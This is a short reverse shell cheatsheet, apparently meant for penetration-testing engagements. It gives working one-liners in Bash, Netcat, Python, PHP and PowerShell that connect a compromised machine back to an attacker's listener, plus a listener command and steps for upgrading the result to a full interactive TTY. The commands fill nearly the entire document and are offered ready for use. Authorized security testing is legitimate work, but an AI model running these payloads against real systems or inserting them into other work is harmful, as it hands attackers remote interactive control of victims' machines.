Reverse Shell Cheatsheet
Quick reference for spawning reverse shells across Bash, Netcat, Python, PHP and PowerShell, then upgrading to a full interactive TTY.
A grab-bag of reverse shells to keep handy during engagements. Set LHOST and LPORT to your listener, and start the listener first:
nc -lvnp 4444Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1A more portable variant when the above is restricted:
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; bash <&196 >&196 2>&196Netcat
nc LHOST LPORT -e /bin/bashWithout -e (common on modern builds):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/fPython
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'PHP
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}"Upgrade your shell
Turn a dumb shell into a full interactive TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background with Ctrl-Z
stty raw -echo; fg
# press Enter twice, then:
export TERM=xtermResize if the terminal looks cramped — read your real values with stty size locally first:
stty rows 38 columns 180